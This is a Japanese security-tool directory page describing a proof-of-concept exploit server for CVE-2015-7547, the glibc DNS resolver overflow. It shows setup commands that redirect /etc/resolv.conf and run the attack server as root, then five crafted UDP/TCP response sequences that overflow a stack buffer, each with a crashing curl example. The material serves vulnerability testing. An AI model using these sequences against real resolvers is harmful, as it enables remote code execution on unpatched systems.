Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2015-7547 — CVE-2015-7547 向け PoC エクスプロイトサーバ | Kitploit
ツール/GitHubGitHub/jgajek/cve-2015-7547
脆弱性分析エクスプロイトファジングペネトレーションテストDNS分析バイナリエクスプロイト
GitHubjgajek/cve-2015-7547

cve-2015-7547

CVE-2015-7547 向け PoC エクスプロイトサーバ

リポジトリを見る
8510年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

glibc DNSリゾルバの脆弱性CVE-2015-7547に対するPoC攻撃サーバ

脆弱なglibcバージョンでローカルマシン上でテストするには:

root@kitploit:~
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...

その後、別のターミナルセッションから、以下の例に示すように攻撃を実行します。

攻撃1 (UDP+TCP)

UDPおよびTCPで2048バイトを超える応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、2048バイト超、有効なヘッダ/質問、TCフラグ設定(バッファ管理不具合とTCP再試行をトリガー)

  2. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  3. TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)

例:

root@kitploit:~
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)

攻撃2 (UDPのみ)

UDPで2048バイトを超える応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、2048バイト超、無効なヘッダ(バッファ管理不具合をトリガー、有効な応答としてカウントされない)

  2. 次のリクエストを無視(ポーリングタイムアウトによりUDP再試行をトリガー)

  3. UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  4. UDP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)

例:

root@kitploit:~
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)

攻撃3 (UDP+TCP)

UDPで1024バイト超、TCPで2048バイト超の応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、1024バイト、有効なヘッダ/質問(スタック割り当てバッファの半分を埋める)

  2. UDP応答、1024バイト超、有効なヘッダ/質問、TCフラグ設定(バッファ管理不具合とTCP再試行をトリガー)

  3. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  4. TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)

例:

root@kitploit:~
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)

攻撃4 (UDPのみ)

UDPで2048バイトを超える応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、2048バイト、有効なヘッダ/質問(スタック割り当てバッファを埋める)

  2. UDP応答(0バイトソケット受信によりバッファ管理不具合とUDP再試行をトリガー)

  3. UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  4. UDP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)

例:

root@kitploit:~
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)

攻撃5 (TCPのみ)

TCPで2048バイト超の応答を送信でき、かつ/etc/resolv.confに少なくとも2つのネームサーバエントリが必要です。

攻撃シーケンス:

  1. UDP応答、有効なヘッダ/質問、TCフラグ設定(オプション、初期クエリがUDPの場合にTCP再試行をトリガー)

  2. TCP応答、2048バイト超(バッファ管理不具合をトリガー)

  3. TCP応答、空(0バイトソケット受信によりTCP再試行をトリガー)

  4. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  5. TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)

例:

root@kitploit:~
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
ツールをダウンロード